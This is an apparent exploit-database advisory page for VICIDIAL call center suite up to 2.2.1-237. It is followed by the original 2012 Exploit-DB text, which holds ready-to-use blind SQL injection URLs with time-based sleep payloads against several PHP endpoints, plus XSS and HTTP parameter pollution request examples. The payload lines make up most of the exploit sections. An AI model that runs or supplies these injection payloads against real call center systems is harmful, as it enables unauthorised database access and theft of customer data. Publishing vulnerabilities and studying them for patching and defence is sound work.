VICIDIAL call center suite XSS/HTTP Prameter pollution

vendor:

VICIDIAL call center suite

by:

Sepahan TelCom IT Group (septelcom)

8,8

CVSS

HIGH

Blind SQL Injection & XSS/HTTP Prameter pollution

89,79

CWE

Product Name: VICIDIAL call center suite

Affected Version From: <=2.2.1-237

Affected Version To: <=2.2.1-237

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

VICIDIAL call center suite XSS/HTTP Prameter pollution

VICIDIAL is a set of programs that are designed to interact with the Asterisk Open-Source PBX Phone system to act as a complete inbound/outbound call center suite. Blind SQL Injection vulnerability exists in VICIDIAL call center suite. An attacker can exploit this vulnerability to inject malicious SQL queries and gain access to sensitive information from the database. XSS/HTTP Prameter pollution vulnerability exists in VICIDIAL call center suite. An attacker can exploit this vulnerability to inject malicious scripts and gain access to sensitive information from the application.

Mitigation:

Update to the latest version of VICIDIAL call center suite.

Source

Exploit-DB raw data:

  ####################################################################################
  #                                                                                  #
  #     ...:::::VICIDIAL call center suite Blind SQL Injection Vulnerability::::.... #         
  ####################################################################################


                                  Sepahan TelCom IT Group (septelcom)
								      
-------------------------------------------------------
# Date: 2012-09-07
# Exploit Author: Sepahan TelCom IT Group (septelcom)
# Vendor Homepage: http://www.vicidial.org
# Software Link: https://sourceforge.net/project/showfiles.php?group_id=95133&package_id=101320
#Affected version: <=2.2.1-237

									  
VICIDIAL is a set of programs that are designed to
interact with the Asterisk Open-Source PBX Phone system
to act as a complete inbound/outbound call center suite.
--------------------------------------------------------

									  
I'M hadihadi From Virangar Security Team

special tnx to:MR.nosrati,black.shadowes,MR.hesy
& all virangar members & all hackerz

greetz to My best friends & partners in septelcom group : Reza Kazemian,Hossein Ghasemi

spl:Z.Khodaee

-------
exploit:

http://site.com/AST_agent_time_sheet.php?agent=some-agent' and sleep(15)='&calls_summary=1&query_date=2012-09-07
http://site.com/AST_timeonVDADall.php?adastats=1&DB=0&groups[]=1345' and sleep(15)='&RR=4
http://site.com/vicidial_demo/user_stats.php?user=2000' and sleep(10)='

----
Sepahan TelCom Network And Security Group (septelcom)

www.septelcom.net

E-mail: amirhadi.yazdani@gmail.com,info@septelcom.net
 
  ####################################################################################
  #                                                                                  #
  #     ...:::::VICIDIAL call center suite XSS/HTTP Prameter pollution::::....       #         
  ####################################################################################


                                  Sepahan TelCom IT Group (septelcom)
								      
-------------------------------------------------------
# Date: 2012-09-07
# Exploit Author: Sepahan TelCom IT Group (septelcom)
# Vendor Homepage: http://www.vicidial.org
# Software Link: https://sourceforge.net/project/showfiles.php?group_id=95133&package_id=101320
#Affected version: <=2.2.1-237

									  
VICIDIAL is a set of programs that are designed to
interact with the Asterisk Open-Source PBX Phone system
to act as a complete inbound/outbound call center suite.
--------------------------------------------------------

									  
I'M hadihadi From Virangar Security Team

special tnx to:MR.nosrati,black.shadowes,MR.hesy
& all virangar members & all hackerz

greetz to My best friends & partners in septelcom group : Reza Kazemian,Hossein Ghasemi

spl:Z.Khodaee

-------
exploit:

XSS :

http://site.com/admin_search_lead.php?alt_phone_search=&DB=1&first_name=lskkuuaj&last_name=lskkuuaj&lead_id=1&list_id=1&log_lead_id=1&log_phone=555-666-0606&phone=555-666-0606&status=1&submit=SUBMIT&user=[XSS]&vendor_id=1
http://site.com/user_stats.php?user=[XSS]
--------------
HTTP Prameter plution:

http://site.com/./user_stats.php?user=shtuasvb&begin_date=2012-09-07&end_date=2012-09-07{HTPP}
example : /user_stats.php?user=shtuasvb&begin_date=2012-09-07&end_date=2012-09-07&hadi685=sep148

http://site.com/admin.php?ADD=3&user=someuser{HTPP}
example : ./admin.php?ADD=3&user=hadi&sep18=tell15

----
Sepahan TelCom Network And Security Group (septelcom)

www.septelcom.net

E-mail: amirhadi.yazdani@gmail.com,info@septelcom.net